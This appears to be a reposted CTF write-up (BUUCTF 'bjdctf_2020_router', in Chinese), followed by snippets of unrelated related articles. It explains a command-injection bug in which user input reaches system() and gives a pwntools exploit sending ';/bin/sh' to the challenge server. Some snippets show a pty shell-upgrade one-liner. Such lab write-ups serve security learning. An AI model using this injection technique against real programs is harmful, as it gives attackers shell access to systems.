[buuctf]bjdctf_2020_router

news/2025/10/18 23:26:19/文章来源:https://www.cnblogs.com/Rye01R/p/19150299

首先查看一下文件的保护措施
image
在用ida打开看一下
这里就是一个menu,然后进行选择,进入不同的函数
image
这里主要注意到进入case1时,这里直接就有一个system函数,那么是否可以直接通过这个函数获得shell呢
在看看这里通过read函数向buf进行输入,在用strcat函数将输入到buf的字符串拼接到dest后面,那这里就可以直接输入/bin/sh了
但是要注意要加上一个 " ; ",这样就能在system函数中执行多个命令,才能执行/bin/sh

点击查看代码
from pwn import *
io=remote("node5.buuoj.cn",25108)
io.sendlineafter(b"choose:","1")
io.sendlineafter(b"address:",";/bin/sh")
io.interactive()

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/939834.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

AtCoder Beginner Contest 428 ABCDE 题目解析

A - Grandmas Footsteps 题意 下课铃响起后,高桥会立即开始重复执行以下动作:以每秒 \(S\) 米的速度跑 \(A\) 秒,然后保持静止 \(B\) 秒。请问在下课铃响后 \(X\) 秒时,他总共跑了多少米? 思路 每 \(A+B\) 秒为一…

稻草火把下的星辰:回忆我的90年代求学路

1993年的夏天,我手握政和一中的录取通知书,却感觉这张纸比铅还重。中考成绩名列全校第一的喜悦,早已被无钱就读的现实冲刷得一干二净。在我们那个小村庄,考上高中并不被视为荣耀之事,唯有考上中专才被视为真正的“…

20251018

正睿 CSP 7 连测 终于 ak 了一场。 D 给定长度为 \(n(n \le 2 \times 10^5)\) 的序列 \(a(|a_i| \le 10^9)\)。若 \(a_i < 0\),\(b_i = -2^{-a_i}\);否则,\(b_i = 2^{a_i}\)。求 \(b\) 的最大子段和对 \(9982443…

Linux后门应急

Linux后门应急 1、主机后门用户名称:提交格式如:flag 进来先对终端升级一下 python -c import pty; pty.spawn("/bin/bash")直接使用cat /etc/passwd 查看后面用户flag{backdoor}2、主机排查项中可以发现到…

吴恩达深度学习课程一:神经网络和深度学习 第三周:浅层神经网络(二)

此分类用于记录吴恩达深度学习课程的学习笔记。 课程相关信息链接如下:原课程视频链接:[双语字幕]吴恩达深度学习deeplearning.ai github课程资料,含课件与笔记:吴恩达深度学习教学资料 课程配套练习(中英)与答案…

2025.10.18总结

今天继续学软考相关内容,看了操作系统一个章节进程管理的内容。 操作系统的定义:操作系统是指控制和管理整个计算机系统的硬件和软件资源,并合理地组织调度计算机的工作和资源的划分,以提供给用户和其他软件方便的…

C++动态多态原理分析

class Animal { public:void speak() {cout << "Animal.speak()" << endl;} };class Cat :public Animal {void speak() {cout << "Cat.speak()" << endl;} }; void doW…

Java基础——初识Math类,基本运算符,自增自减运算符,逻辑运算符,位运算符,三元运算符

Java基础——初识Math类,基本运算符,自增自减运算符,逻辑运算符,位运算符,三元运算符初识Math类 Math.pow(2,3); //运用工具类进行次方运算基本运算符 1.算术运算符:+,-,,/,%(此前为二元运算符),++,--(一…

ENC28J60

ENC28J60ENC28J60 是在嵌入式开发、物联网、单片机联网中常见的一种芯片。 我们来从硬件、软件、应用三个角度讲清楚它。🧩 一、基本定义ENC28J60 是 Microchip(微芯科技) 公司生产的一款 独立的以太网控制器芯片(…

第七章 常见攻击事件分析--钓鱼邮件

第七章 常见攻击事件分析--钓鱼邮件 1、请分析获取黑客发送钓鱼邮件时使用的IP,flag格式: flag 将文件下来到虚拟机解压有个钓鱼邮件.eml 查阅的时候觉得这里很奇怪,这里跟其他的不大一样,这里对来源进行了base64的…

10月18日日记

1.今天放假出去吃饭 2.明天准备去图书馆 3.编写怎样的代码更有利于JIT优化?

第九章-实战篇-运维杰克

第九章-实战篇-运维杰克 1、攻击者使用的的漏洞扫描工具有哪些(两个) flag 我们首先先去 /var/log下面看一下 发现这个网站中间件是apach 逛了一圈没有发现什么东西, 但是先统计一下在日志里面哪些ip访问的数量最多,…

AntennaPod - 开源Android播客管理器

AntennaPod是一款易于使用、功能灵活的开源Android播客管理器。支持自动下载、播放控制、多平台同步等特性,提供无广告的纯净播客收听体验,让您自由管理个人播客订阅。AntennaPod - 开源Android播客管理器AntennaPod…

硬件基础知识

1. 关于串口电平和 RS232 、RS485、RS422 的引脚接线 串口常用的电平标准有如下三种:TTL电平:+5V表示1,0V表示0RS232电平:-3~-15V表示1,+3~+15V表示0RS485电平:两线压差+2~+6V表示1,-2~-6V表示0(差分信号) 引…

第三章 权限维持-linux权限维持-隐藏

第三章 权限维持-linux权限维持-隐藏 1、黑客隐藏的隐藏的文件 完整路径md5 使用命令查看隐藏文件 find / -type f -name .*这个文件看着有点可疑临时性:将文件放在 /tmp 目录下表明这些文件可能是临时的。系统重启后…

第五章 linux实战-黑链

第五章 linux实战-黑链 1、找到黑链添加在哪个文件 flag 格式 flag 什么是黑链?在网络安全领域,黑链(Blacklink 或 Badlink)一般指那些用于 恶意目的的链接。这些链接通常不是合法或正常的网站地址,而是被攻击者利…

AI元人文:价值原语化——在创新与传承间搭建文明桥梁

AI元人文:价值原语化——在创新与传承间搭建文明桥梁 当我们深耕价值语义的原语化,实则是启动了一项宏大的文明工程:为流动的价值经验建造可传承、可演化的语言载体。这不仅是方法论的创新,更是对文明传承模式的深…

Channel小结

一:channel的一些特性 1.尽量避免使用锁来解决临界资源安全问题 2.通道的角色必须在两个及以上 3.chan,必须要作用在两个以上的goroutine 二:通道的声明点击查看代码 func main() {//声明+赋值var c chan intc = ma…

线段树历史值学习笔记

(先单开出来,后面准备合并到线段树 trick 里) (好像合并不了了) 历史和指的是线段树维护的序列 \(a\),我们再开一个序列 \(b\),每次修改 / 查询后进行 \(\forall b_i \leftarrow b_i + a_i\) 操作,\(b\) 称作 …

连续两行fastq、连续两行MD5值如何转换为每行一个fastq一个MD5格式

001、shell实现(base) [b20223040323@admin2 test]$ ls a.txt (base) [b20223040323@admin2 test]$ cat a.txt ## 测试数据 SRR5534377_1.fastq.gz SRR5534377_2.fastq.gz d27d0b0f0bb9cae5dc52dc934384699b 1139…